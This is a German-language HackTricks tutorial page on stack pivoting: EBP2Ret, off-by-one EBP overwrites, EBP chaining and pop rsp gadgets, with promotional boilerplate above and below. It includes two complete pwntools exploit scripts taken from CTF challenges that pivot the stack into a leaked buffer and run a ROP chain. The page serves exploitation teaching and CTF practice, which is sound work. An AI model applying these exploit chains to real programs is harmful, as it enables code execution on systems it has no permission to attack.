9.9 KiB
Stack Pivoting - EBP2Ret - EBP chaining
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Grundlegende Informationen
Diese Technik nutzt die Möglichkeit, den Base-Pointer (EBP) zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des EBP-Registers und der Befehlssequenz leave; ret
zu verketten.
Zur Erinnerung bedeutet leave
im Grunde genommen:
movl %ebp, %esp
popl %ebp
ret
Und da sich der EBP im Stack vor dem EIP befindet, ist es möglich, ihn zu kontrollieren, indem man den Stack kontrolliert.
EBP2Ret
Diese Technik ist besonders nützlich, wenn Sie den EBP-Register ändern können, aber keinen direkten Weg haben, das EIP-Register zu ändern. Sie nutzt das Verhalten von Funktionen aus, wenn sie ihre Ausführung beenden.
Wenn es Ihnen während der Ausführung von fvuln
gelingt, einen gefälschten EBP im Stack einzuspeisen, der auf einen Speicherbereich zeigt, in dem die Adresse Ihres Shellcodes liegt (plus 4 Bytes für die pop
-Operation), können Sie indirekt das EIP kontrollieren. Wenn fvuln
zurückkehrt, wird der ESP auf diese manipulierte Position gesetzt, und die nachfolgende pop
-Operation verringert den ESP um 4, wodurch er effektiv auf eine Adresse zeigt, die vom Angreifer dort gespeichert wurde.
Beachten Sie, wie Sie 2 Adressen kennen müssen: Die, wohin der ESP gehen wird, und wohin Sie die Adresse schreiben müssen, auf die der ESP zeigt.
Exploit-Konstruktion
Zuerst müssen Sie eine Adresse kennen, an der Sie beliebige Daten/Adressen schreiben können. Der ESP wird hierhin zeigen und den ersten ret
ausführen.
Dann müssen Sie die Adresse kennen, die von ret
verwendet wird, um beliebigen Code auszuführen. Sie könnten verwenden:
- Eine gültige ONE_GADGET-Adresse.
- Die Adresse von
system()
gefolgt von 4 Junk-Bytes und der Adresse von"/bin/sh"
(x86-Bits). - Die Adresse eines
jump esp;
-Gadgets (ret2esp) gefolgt vom Shellcode zur Ausführung. - Einige ROP-Kette
Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Speicherbereich 4
Bytes stehen müssen, aufgrund des pop
-Teils der leave
-Anweisung. Es wäre möglich, diese 4B zu missbrauchen, um einen zweiten gefälschten EBP zu setzen und die Ausführung weiter zu kontrollieren.
Off-By-One-Exploit
Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One-Exploit" bekannt ist. Sie wird verwendet, wenn Sie nur das am wenigsten signifikante Byte des EBP ändern können. In einem solchen Fall muss der Speicherort, der die Adresse zum Springen mit dem ret
speichert, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter stärker eingeschränkten Bedingungen ermöglicht.
EBP-Chaining
Daher ist es möglich, indem man eine kontrollierte Adresse im EBP
-Eintrag des Stacks und eine Adresse zu leave; ret
im EIP
platziert, den ESP
zur kontrollierten EBP
-Adresse im Stack zu verschieben.
Nun wird der ESP
kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein RET
. Um dies auszunutzen, können Sie an dieser kontrollierten ESP-Stelle Folgendes platzieren:
&(nächster gefälschter EBP)
-> Lädt den neuen EBP aufgrund vonpop ebp
aus derleave
-Anweisungsystem()
-> Aufgerufen vonret
&(leave;ret)
-> Wird nach dem Ende von system aufgerufen, es verschiebt ESP zum gefälschten EBP und startet erneut&("/bin/sh")
-> Parameter fürsystem
Auf diese Weise ist es im Grunde möglich, mehrere gefälschte EBPs zu verketten, um den Programmfluss zu kontrollieren.
Ehrlich gesagt, dies ähnelt einem ret2lib, ist jedoch komplexer und ohne offensichtlichen Nutzen, könnte aber in einigen Randfällen interessant sein.
Darüber hinaus finden Sie hier eine Beispielherausforderung, die diese Technik mit einem Stack-Leak verwendet, um eine Gewinnfunktion aufzurufen. Dies ist das endgültige Payload von der Seite:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP ist nutzlos
Wie in diesem Beitrag erklärt, wenn ein Binärprogramm mit einigen Optimierungen kompiliert wird, wird ESP nie von EBP kontrolliert, daher wird jeder Exploit, der durch die Kontrolle von EBP funktioniert, im Grunde scheitern, da er keine echte Wirkung hat.
Dies liegt daran, dass sich das Prolog und Epilog ändern, wenn das Binärprogramm optimiert ist.
- Nicht optimiert:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimiert:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Andere Möglichkeiten, um RSP zu kontrollieren
pop rsp
Gadget
Auf dieser Seite finden Sie ein Beispiel für die Verwendung dieser Technik. Für diese Herausforderung war es erforderlich, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein pop rsp
Gadget sowie ein Leak vom Stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <rag>, rsp Gadget
pop <reg> <=== return pointer
<reg value>
xchg <rag>, rsp
Referenzen
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.